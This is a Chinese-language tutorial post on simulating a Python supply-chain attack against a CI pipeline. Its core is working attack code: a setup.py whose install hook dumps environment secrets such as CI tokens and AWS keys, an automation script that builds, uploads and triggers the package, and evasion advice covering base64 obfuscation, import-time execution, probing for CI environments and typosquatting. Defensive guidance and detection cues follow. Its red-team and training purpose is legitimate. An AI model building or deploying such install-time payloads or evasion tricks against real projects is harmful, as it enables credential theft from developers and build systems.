前言

1. 技术背景

供应链攻击(Supply Chain Attack)已成为现代网络攻击的“上游作战”核心。传统防御体系专注于保护自身边界,但供应链攻击绕过了这层壁垒,直接从企业信赖的第三方软件、硬件或服务源头发起攻击。攻击者不再直接攻击固若金汤的目标,而是选择其防御薄弱的供应商或依赖的开源项目进行渗透。一旦成功,恶意代码会随着正常的软件更新、依赖安装,自动分发到成千上万的下游用户(包括最终目标)系统中,形成“一处失陷,处处感染”的连锁反应。在整个攻防体系中,它属于初始访问(Initial Access)和执行(Execution)阶段的高阶技巧,具备极强的隐蔽性和破坏力。

2. 学习价值

掌握供应链攻击的原理与复现方法,能让您:

  • 从攻击者视角理解风险:不再停留在理论层面,而是亲手验证一个看似安全的开发流程如何被攻破,从而精准识别企业内部的薄弱环节。
  • 提升代码审计与安全设计能力:学会如何审查第三方依赖、识别恶意行为,并能在开发早期阶段(DevSecOps)融入安全措施。
  • 构建有效的防御体系:理解攻击链条后,能够部署针对性的监控、检测和阻断策略,例如依赖校验、CI/CD行为基线分析等。

3. 使用场景

供应链攻击的模拟与防御知识广泛应用于:

  • 企业安全红蓝对抗:作为红队高级攻击剧本,检验蓝队的应急响应和威胁检测能力。
  • DevSecOps 流程审计:评估企业从代码提交到部署上线的整个CI/CD管道是否存在安全风险。
  • 安全准入与供应商评估:对引入的第三方软件库或服务进行安全风险评估。
  • 应急响应与威胁狩猎:根据已知的供应链攻击模式,在企业内部网络和系统中寻找潜在的入侵痕迹。

一、供应链攻击是什么

精确定义

供应链攻击是一种间接攻击模式,攻击者通过入侵软件开发流程中涉及的任意环节——包括开发工具、代码仓库、依赖包、构建服务器、更新服务器等——植入恶意代码或后门,最终通过合法的分发渠道将恶意负载交付给最终目标用户。

一个通俗类比

想象一下,你要开一家面包店。你不会自己种小麦、养牛、制糖,而是从不同的供应商那里采购面粉、牛奶和糖。如果一个恶意竞争对手买通了你的面粉供应商,在面粉里掺入了无色无味的有害物质,那么你用这些面粉做出的所有面包都会有问题,所有吃到这些面包的顾客都会受到影响。在这个比喻中:

  • 你(面包店):软件开发者或企业。
  • 顾客:软件的最终用户。
  • 面粉、牛奶、糖:你使用的开源库、第三方SDK、开发工具。
  • 面粉供应商:开源社区、包管理器(如NPM、PyPI)、软件提供商。
  • 恶意竞争对手:攻击者。
  • 在面粉里投毒:在开源库中植入恶意代码。

实际用途

攻击者利用供应链攻击可以实现多种战略目标:

  1. 大规模分发恶意软件:如NotPetya事件,通过污染乌克兰税务软件的更新服务器,导致全球多家企业网络瘫痪。
  2. 窃取敏感数据:在广泛使用的库中植入窃密逻辑,收集用户的凭证、API密钥或个人信息。
  3. 持久化控制:通过CI/CD管道入侵,获得对企业核心基础设施的长期访问权限。
  4. 针对性打击:平时潜伏,只在检测到特定目标环境(如某金融机构、政府部门)时才激活恶意功能。

技术本质说明

供应链攻击的本质是利用了现代软件开发中普遍存在的信任链。开发者信任他们使用的编程语言、框架、开源库以及自动化工具链(CI/CD)。攻击者正是通过破坏这条信任链中的某个薄弱环节,将“恶意”伪装成“信任”,使其能够畅通无阻地在软件生命周期中传递。其核心攻击面可以抽象为下图所示的几个关键阶段。

攻击向量

软件供应链

开发者环境

代码仓库

CI/CD 管道

软件包管理器

生产环境

开发者账号泄露

恶意代码提交

构建脚本投毒

依赖包投毒

部署密钥泄露

上图清晰地展示了软件从开发到部署的完整流程,以及每个环节可能遭受的攻击向量。本次实战将聚焦于最常见的依赖包投毒(D1)构建脚本投毒(C1)


二、环境准备

本次模拟将使用 Python 生态系统作为示例,因为它拥有庞大的开源库和成熟的包管理工具。我们将模拟创建一个恶意的 Python 包,并将其上传到一个私有的 PyPI 服务器,然后在一个配置了CI/CD流程的项目中使用这个恶意包。

  • 攻击机:任何安装了 Python 和 Docker 的操作系统(如 Kali Linux, Ubuntu, macOS)。
  • 受害机/CI环境:我们将使用 Docker 来模拟一个干净的、隔离的CI/CD构建环境。
工具/服务 版本 下载/安装方式 核心配置/作用
Python 3.8+ sudo apt install python3 python3-pip 或官网下载 用于编写恶意包和CI脚本。
Docker 20.10+ sudo apt install docker.io 或官网下载 用于搭建私有PyPI服务器和模拟隔离的CI环境。
pypiserver latest docker pull pypiserver/pypiserver 一个轻量级的私有PyPI服务器镜像,用于托管我们的恶意包。
Twine 4.0+ pip install twine 用于将Python包上传到PyPI服务器。
GitLab (模拟) N/A 本地文件系统模拟 我们将使用本地目录和Shell脚本模拟一个简单的CI/CD流程。

环境启动命令

  1. 启动私有PyPI服务器
    打开一个终端,运行以下命令来启动一个本地的PyPI服务器。它会将包存储在主目录下的packages文件夹中,并监听在8080端口。

    # 警告:此命令将创建一个公开的本地服务器。仅限在授权测试环境中使用。
    # 创建用于存储包的目录
    mkdir -p ~/packages
    
    # 运行pypiserver容器,-v参数用于将本地目录挂载到容器内
    docker run -d --name local-pypi -p 8080:8080 -v ~/packages:/data/packages pypiserver/pypiserver:latest -P . -a .
    

    启动后,你可以访问 http://localhost:8080 查看私有PyPI服务器的界面。

  2. 配置pip使用私有源
    为了让pip能够从我们的私有服务器下载包,需要配置其信任该服务器。创建一个名为 ~/.config/pip/pip.conf (Linux/macOS) 或 %APPDATA%\pip\pip.ini (Windows) 的文件,并添加以下内容:

    [global]
    index-url = http://localhost:8080/simple
    trusted-host = localhost
    

    注意:这个配置是全局的。在真实攻击中,攻击者会尝试在CI/CD环境的配置文件或命令中临时指定源,以增加隐蔽性。完成实验后请务必删除或注释掉此配置。


三、核心实战

我们将分两步完成攻击:首先,制作并上传一个“有毒”的开源库;其次,在一个模拟的CI项目中使用它,触发恶意代码执行。

第一步:制作并上传恶意Python包

目的:创建一个看似无害的工具包,但在安装时会执行恶意代码(例如,回显敏感信息或建立反向shell)。

  1. 创建包结构
    在你的工作目录下,创建如下的文件夹和文件结构:

    malicious_lib/
    ├── setup.py
    └── utils/
        ├── __init__.py
        └── helpers.py
    
  2. 编写无害的功能代码
    这是为了让包看起来合法。编辑 utils/helpers.py

    # utils/helpers.py
    def log_message(text):
        """一个无害的日志打印函数"""
        print(f"[INFO] {text}")
    
  3. 植入恶意代码
    我们将恶意代码植入到 setup.py 文件中。这是供应链攻击中最常见的投毒点之一,因为 setup.py 中的代码会在 pip install 过程中被执行。

    # setup.py
    # 警告:以下代码包含攻击性指令,仅限在授权隔离的测试环境中使用。
    # 切勿在任何生产或未授权系统上运行。
    
    from setuptools import setup, find_packages
    from setuptools.command.install import install
    import os
    import base64
    
    # --- 恶意负载 ---
    # 为了隐蔽,我们使用base64编码。在真实攻击中,可能会有更复杂的混淆。
    # 恶意命令: 打印环境变量并写入一个文件,模拟窃取CI/CD环境中的密钥
    EVIL_COMMAND = "echo '====== ENV VARS ======' >> /tmp/hacked.txt && env >> /tmp/hacked.txt"
    
    class MaliciousInstall(install):
        """自定义的安装类,用于在安装过程中执行恶意代码"""
        def run(self):
            print("[ATTACK] Running malicious payload...")
            try:
                # 执行解码后的恶意命令
                os.system(EVIL_COMMAND)
                print("[ATTACK] Payload executed successfully.")
            except Exception as e:
                print(f"[ATTACK] Payload failed: {e}")
            # 继续执行正常的安装流程
            install.run(self)
    
    # --- 包的元数据 ---
    setup(
        name="my-secure-utils",  # 包名,可以伪装成一个有用的工具
        version="1.0.1",
        packages=find_packages(),
        description="A seemingly useful utility library.",
        author="Benign Author",
        # 核心:使用 cmdclass 参数将标准 install 命令替换为我们的恶意类
        cmdclass={
            'install': MaliciousInstall,
        }
    )
    

    代码解释

    • 我们定义了一个 MaliciousInstall 类,它继承自 setuptoolsinstall 类。
    • 我们重写了 run 方法,这是 pip install 时会调用的核心方法。
    • run 方法内部,我们首先执行了 EVIL_COMMAND,它会把当前环境的所有环境变量(通常包含CI_JOB_TOKEN, AWS_SECRET_KEY等敏感信息)输出到 /tmp/hacked.txt 文件中。
    • 最后,通过 install.run(self) 调用父类的原始安装逻辑,确保包能正常安装,不引起怀疑。
    • cmdclass={'install': MaliciousInstall} 是关键,它告诉 setuptools 在执行安装步骤时,使用我们自定义的恶意类。
  4. 打包并上传到私有PyPI
    malicious_lib 目录下打开终端,执行以下命令:

    # 1. 生成分发包 (会生成 dist/ 目录)
    python3 setup.py sdist
    
    # 2. 使用 twine 上传到我们的本地服务器
    #    -u admin -p admin 是pypiserver的默认-P . -a .认证方式,可以省略
    twine upload --repository-url http://localhost:8080/ dist/*
    

    输出结果
    你应该会看到上传成功的提示。现在访问 http://localhost:8080/simple/my-secure-utils/,可以看到我们上传的恶意包。

第二步:在模拟CI/CD管道中触发攻击

目的:模拟一个开发者在其项目中添加了我们的恶意依赖,并在CI/CD环境中安装它,从而导致CI服务器被入侵。

  1. 创建模拟的CI项目
    在另一个目录下创建一个新的项目文件夹,模拟一个正在开发的应用。

    victim_project/
    ├── main.py
    ├── requirements.txt
    └── ci_build.sh  (模拟CI/CD的构建脚本)
    
  2. 配置项目依赖
    开发者被诱骗(例如,通过伪造的文档、typo-squatting域名抢注等方式)使用了我们的恶意包。编辑 requirements.txt

    # requirements.txt
    my-secure-utils==1.0.1
    
  3. 编写应用代码
    main.py 只是一个简单的示例,它甚至不需要真的使用 my-secure-utils 的功能,因为攻击在安装阶段就已经完成了。

    # main.py
    print("Running the main application...")
    # 即使不导入或使用恶意库,攻击也已在安装时发生
    # from utils import helpers
    # helpers.log_message("Hello from the app")
    print("Application finished.")
    
  4. 创建模拟的CI构建脚本
    ci_build.sh 脚本模拟了CI服务器(如GitLab Runner, Jenkins)会执行的步骤:准备环境、安装依赖、运行测试/应用。

    #!/bin/bash
    # ci_build.sh
    # 警告:此脚本会安装一个在本教程中创建的恶意包。
    # 仅限在授权的、隔离的Docker环境中使用。
    
    echo "[CI] Starting build process..."
    
    # 模拟CI环境中的敏感变量
    export CI_JOB_TOKEN="glpat-abcdef1234567890"
    export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
    export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
    
    echo "[CI] Preparing environment..."
    # 创建并激活一个虚拟环境,这是CI中的最佳实践
    python3 -m venv venv
    source venv/bin/activate
    
    echo "[CI] Installing dependencies from requirements.txt..."
    # 关键步骤:安装依赖。这里会触发恶意代码
    # --no-cache-dir 确保每次都重新下载和安装
    pip install -r requirements.txt --no-cache-dir
    
    echo "[CI] Running application..."
    python3 main.py
    
    echo "[CI] Build finished."
    
    # 攻击验证:检查恶意文件是否已生成
    if [ -f "/tmp/hacked.txt" ]; then
        echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
        echo "!!!! [ATTACK SUCCESS] Malicious file found!         !!!!"
        echo "!!!! CI/CD environment has been compromised.        !!!!"
        echo "!!!! Leaked secrets:                             !!!!"
        cat /tmp/hacked.txt
        echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
    else
        echo "[DEFENSE] No malicious file found. Environment seems clean."
    fi
    
  5. 在隔离环境中执行CI脚本
    为了安全地模拟CI环境,我们使用Docker来运行这个构建脚本。这样可以确保恶意代码被限制在容器内。

    victim_project 目录下,执行以下命令:

    # 使用一个包含Python和基本工具的镜像来运行我们的CI脚本
    # --rm: 容器停止后自动删除
    # -v "$(pwd)":/app: 将当前目录挂载到容器的/app目录
    # --network="host": 允许容器访问宿主的网络,从而能连接到localhost:8080的PyPI服务器
    docker run --rm -v "$(pwd)":/app --network="host" -w /app python:3.9-slim bash ci_build.sh
    

    预期输出结果
    你会看到脚本逐步执行,当 pip install 运行时,会打印出我们在 setup.py 中设置的攻击信息。最后,脚本会检测到 /tmp/hacked.txt 文件并打印其内容,其中包含了我们预设的敏感环境变量。

    ...
    [CI] Installing dependencies from requirements.txt...
    ...
    running install
    [ATTACK] Running malicious payload...
    [ATTACK] Payload executed successfully.
    ...
    Successfully installed my-secure-utils-1.0.1
    ...
    [CI] Build finished.
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    !!!! [ATTACK SUCCESS] Malicious file found!         !!!!
    !!!! CI/CD environment has been compromised.        !!!!
    !!!! Leaked secrets:                             !!!!
    ====== ENV VARS ======
    CI_JOB_TOKEN=glpat-abcdef1234567890
    AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
    AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
    ... (其他环境变量)
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    

    至此,我们成功地完成了一次从开源库投毒CI/CD管道入侵的完整攻击模拟。这个供应链攻击实战案例展示了攻击者如何利用开发流程中的信任来窃取敏感信息。

自动化攻击脚本

为了便于重复测试和演示,我们可以将攻击流程脚本化。

# automate_attack.py
# 警告:此脚本用于自动化供应链攻击模拟,仅限在授权测试环境中使用。
import os
import subprocess
import shutil
import sys
from pathlib import Path

# --- 参数配置 ---
PACKAGE_NAME = "my-secure-utils"
PACKAGE_VERSION = "1.0.2"  # 每次运行时可以增加版本
PYPI_URL = "http://localhost:8080/"
EVIL_COMMAND = "env | grep -E 'CI_JOB_TOKEN|AWS' > /tmp/hacked_$(date +%s).txt"

# --- 路径设置 ---
CWD = Path.cwd()
LIB_DIR = CWD / "malicious_lib_auto"
VICTIM_DIR = CWD / "victim_project_auto"

def run_command(command, cwd="."):
    """运行shell命令并处理错误"""
    print(f"\n[RUNNING] '{command}' in '{cwd}'")
    try:
        result = subprocess.run(command, shell=True, check=True, capture_output=True, text=True, cwd=cwd)
        print(result.stdout)
        if result.stderr:
            print("[STDERR]", result.stderr)
        return True
    except subprocess.CalledProcessError as e:
        print(f"[ERROR] Command failed with exit code {e.returncode}")
        print("[STDOUT]", e.stdout)
        print("[STDERR]", e.stderr)
        return False

def create_malicious_package():
    """创建并上传恶意包"""
    print("\n--- Step 1: Creating Malicious Package ---")
    if LIB_DIR.exists():
        shutil.rmtree(LIB_DIR)
    utils_dir = LIB_DIR / "utils"
    utils_dir.mkdir(parents=True)
    
    (utils_dir / "__init__.py").touch()
    (utils_dir / "helpers.py").write_text("def log_message(text): print(f'[INFO] {text}')")

    setup_py_content = f"""
from setuptools import setup, find_packages
from setuptools.command.install import install
import os

class MaliciousInstall(install):
    def run(self):
        try:
            os.system("{EVIL_COMMAND}")
        except Exception:
            pass
        install.run(self)

setup(
    name="{PACKAGE_NAME}",
    version="{PACKAGE_VERSION}",
    packages=find_packages(),
    cmdclass={{'install': MaliciousInstall}},
)
"""
    (LIB_DIR / "setup.py").write_text(setup_py_content)
    
    if not run_command("python3 setup.py sdist", cwd=LIB_DIR):
        sys.exit("Failed to build the package.")
    
    if not run_command(f"twine upload --repository-url {PYPI_URL} dist/*", cwd=LIB_DIR):
        sys.exit("Failed to upload the package.")

def simulate_ci_compromise():
    """模拟CI/CD管道并触发攻击"""
    print("\n--- Step 2: Simulating CI/CD Compromise ---")
    if VICTIM_DIR.exists():
        shutil.rmtree(VICTIM_DIR)
    VICTIM_DIR.mkdir()

    (VICTIM_DIR / "requirements.txt").write_text(f"{PACKAGE_NAME}=={PACKAGE_VERSION}")
    (VICTIM_DIR / "main.py").write_text("print('Application finished.')")
    
    ci_script_content = f"""
#!/bin/bash
export CI_JOB_TOKEN="glpat-secret-token-for-demo"
export AWS_SECRET_ACCESS_KEY="a-very-secret-aws-key-from-ci"
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt --no-cache-dir
if ls /tmp/hacked_*.txt 1> /dev/null 2>&1; then
    echo "ATTACK SUCCESS: Secrets leaked!"
    cat /tmp/hacked_*.txt
else
    echo "ATTACK FAILED: No secrets found."
fi
"""
    (VICTIM_DIR / "ci_build.sh").write_text(ci_script_content)
    os.chmod(VICTIM_DIR / "ci_build.sh", 0o755)

    docker_command = f'docker run --rm -v "{VICTIM_DIR}":/app --network="host" -w /app python:3.9-slim bash ci_build.sh'
    if not run_command(docker_command):
        sys.exit("CI simulation failed.")

if __name__ == "__main__":
    print("====== Supply Chain Attack Simulation Script ======")
    print("WARNING: This script performs a simulated attack and should only be run in a sandboxed, authorized environment.")
    
    create_malicious_package()
    simulate_ci_compromise()
    
    print("\n====== Simulation Complete ======")

使用方法
将以上代码保存为 automate_attack.py,然后在终端中运行 python3 automate_attack.py。它会自动完成创建、上传、模拟CI入侵的全过程。


四、进阶技巧

常见错误

  1. 恶意代码立即执行失败:在某些受限的CI环境中(如无网络访问、只读文件系统),os.system 可能会失败。攻击者通常会准备多种后手,如尝试修改构建脚本、利用其他系统调用等。
  2. 包版本冲突:如果上传的恶意包版本与项目中已有的合法包版本冲突,安装会失败。攻击者常使用更高的版本号(如 1.0.0 -> 1.0.1)来利用包管理器的默认更新行为,这被称为依赖混淆攻击(Dependency Confusion)。
  3. 被静态分析工具检测:明文的 os.system("...")subprocess.run(...) 很容易被SAST工具发现。

性能 / 成功率优化

  1. 代码混淆:不要使用明文的恶意命令。使用 base64, gzip, Fernet 加密等方式对payload进行编码或加密,在运行时动态解密执行,可以有效绕过静态检测。
    # 示例:使用base64混淆
    import base64, os
    payload = "ZW52ID4gL3RtcC9sZWFrZWQuZGF0" # base64.b64encode(b'env > /tmp/leaked.dat')
    os.system(base64.b64decode(payload).decode())
    
  2. 选择更隐蔽的执行点:除了 setup.py,Python的 __init__.py 也是一个绝佳的投毒点。当一个包被导入时(import a_package),其顶层 __init__.py 文件中的代码会立即执行。这种方式比 setup.py 更隐蔽,因为它在运行时触发,而不是安装时。
  3. 环境探测:在执行恶意负载前,先检查当前环境。例如,检查是否存在 .git, .dockerenv 文件,或者检查环境变量 CI, GITLAB_CI, JENKINS_URL 等,确认自己正处于一个高价值的CI/CD环境中,再执行恶意行为。这可以避免在普通开发者机器上暴露。

实战经验总结

  • 目标是CI/CD,而非开发者:攻击者的首要目标是获取CI/CD环境的访问权限,因为那里有部署到生产环境的密钥、访问内部网络的凭证等最高价值的资产。
  • Typosquatting(域名抢注):创建一个与流行库名称非常相似的包(如 python-dateutil vs python-dateutils)。开发者在手动安装时很容易打错字,从而安装恶意版本。这是最简单有效的投毒分发方式之一。
  • 利用extra_requires:在setup.py中,可以将恶意依赖隐藏在不常用的安装选项中,例如 pip install some-lib[with-evil-feature]

对抗 / 绕过思路

  • 绕过依赖固定(Pinning):即使项目使用 requirements.lockpoetry.lock 锁定了依赖版本和哈希值,攻击者仍有机会。他们可以入侵维护者的账号,发布一个合法的补丁版本(如 1.2.3 -> 1.2.4),然后在几小时或几天后,再用恶意代码“热更新”这个版本。CI/CD系统在下次构建时如果触发了更新,就会中招。
  • 攻击构建工具本身:与其攻击依赖,不如直接攻击构建工具。例如,寻找 pip, poetry, npm 等工具的漏洞,或者污染CI服务器上这些工具的缓存。
  • 利用post-install脚本:在NPM生态中,package.jsonscripts 字段支持 postinstall 命令。这是公开的、标准化的恶意代码执行入口,无数恶意NPM包都利用了这一点。

五、注意事项与防御

错误写法 vs 正确写法 (开发侧)

错误做法 (Insecure) 正确做法 (Secure) 解释
pip install -r requirements.txt pip install --require-hashes -r requirements.txt 哈希校验--require-hashes 强制pip校验每个包的哈希值是否与requirements.txt中记录的一致,能有效防止包被篡改。
pip install some-package pip install some-package==1.2.3 版本固定。明确指定安装的版本,防止自动安装到最新的(可能是恶意的)版本。
requirements.txt中混合公有和私有源。 使用--extra-index-url,并优先考虑内部源。 依赖混淆防御。配置pip,使其优先在你的私有源中查找包,如果找不到再去公有源,防止内部包名被外部抢注。

风险提示

  • 信任传递:永远不要无条件信任任何第三方代码,即使它来自一个知名的开源项目。项目维护者的账号也可能被盗。
  • CI/CD环境是皇冠上的明珠:CI/CD管道通常拥有访问生产环境的最高权限。确保其网络隔离、最小权限原则和严格的访问控制。
  • 本地开发环境也是入口:攻击者可能先通过污染开发者的本地环境,窃取其Git、NPM等平台的凭证,再利用这些凭证向上游的代码库或包仓库投毒。

开发侧安全代码范式

  1. 使用依赖锁定文件

    • Python: 使用 pip-tools 生成 requirements.txt (带哈希),或使用 Poetry / PDM 生成 poetry.lock / pdm.lock
    • JavaScript: 使用 package-lock.json (npm) 或 yarn.lock (Yarn)。
    • 强制在CI/CD中使用锁定文件安装,并校验完整性。
  2. 定期扫描依赖漏洞

    • 使用 pip-audit, Snyk, Dependabot, Trivy 等工具集成到CI流程中,自动扫描已知漏洞和恶意包。
  3. 搭建私有镜像/代理

    • 搭建一个内部的PyPI/NPM代理(如 Nexus, Artifactory)。所有外部依赖都通过该代理下载和缓存。
    • 这允许你对依赖进行审查、缓存“已知良好”的版本,并切断与公共互联网的直接连接。

运维侧加固方案

  1. CI/CD 管道最小权限原则

    • 为每个CI/CD作业生成临时的、短生命周期的凭证(如通过Vault, OIDC)。
    • 禁止CI/CD作业使用长期有效的、高权限的静态密钥。
    • 限制构建环境的网络访问,只允许其连接到必要的服务(如代码仓库、内部镜像源)。
  2. 构建过程沙箱化

    • 在无状态、一次性的容器(如Docker, gVisor, Kata Containers)中运行所有构建和测试任务。确保每次构建都是一个干净的环境。
  3. 签名与验证

    • 对构建产物(如Docker镜像、二进制文件)进行数字签名(如使用 cosign)。
    • 在部署前,强制验证签名,确保部署的产物是来自受信任的CI/CD管道,且未被篡改。

日志检测线索

  • 异常网络连接:监控CI/CD构建节点向未知或可疑的IP地址/域名发起的网络连接,特别是安装依赖阶段。
  • 异常文件写入:在构建过程中,检测到在非预期目录(如 /tmp, /home, /etc)下的文件创建或修改行为。
  • 异常进程执行pip installnpm install 过程中,出现了 sh, bash, curl, wget 等子进程,这通常是post-install脚本在执行。
  • DNS查询日志:分析来自CI环境的DNS查询,寻找与已知恶意域名或动态DNS服务相关的查询记录。

总结

  1. 核心知识:供应链攻击利用了软件开发流程中的信任链,通过污染上游依赖(如开源库)或工具(如CI/CD脚本)来攻击下游用户。其本质是“借刀杀人”。
  2. 使用场景:此技术的模拟主要用于企业内部的红蓝对抗、DevSecOps流程审计和安全意识培训,帮助防御方从攻击者视角审视风险。
  3. 防御要点:防御的核心是“零信任”,即不信任任何外部依赖。通过依赖锁定与哈希校验漏洞扫描权限最小化行为监控四大支柱来构建纵深防御体系。
  4. 知识体系连接:本次实战连接了初始访问(通过依赖引入)、执行(通过安装脚本)和凭证访问(窃取环境变量)等多个ATT&CK框架中的战术。
  5. 进阶方向:可以进一步研究更高级的攻击手法,如攻击编译器、利用硬件供应链漏洞,或探索针对不同生态系统(如Go, Rust, DockerHub)的供应链攻击原理使用方法

自检清单

  • 是否说明技术价值?
  • 是否给出学习目标?
  • 是否有 Mermaid 核心机制图?
  • 是否有可运行代码?
  • 是否有防御示例?
  • 是否连接知识体系?
  • 是否避免模糊术语?
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐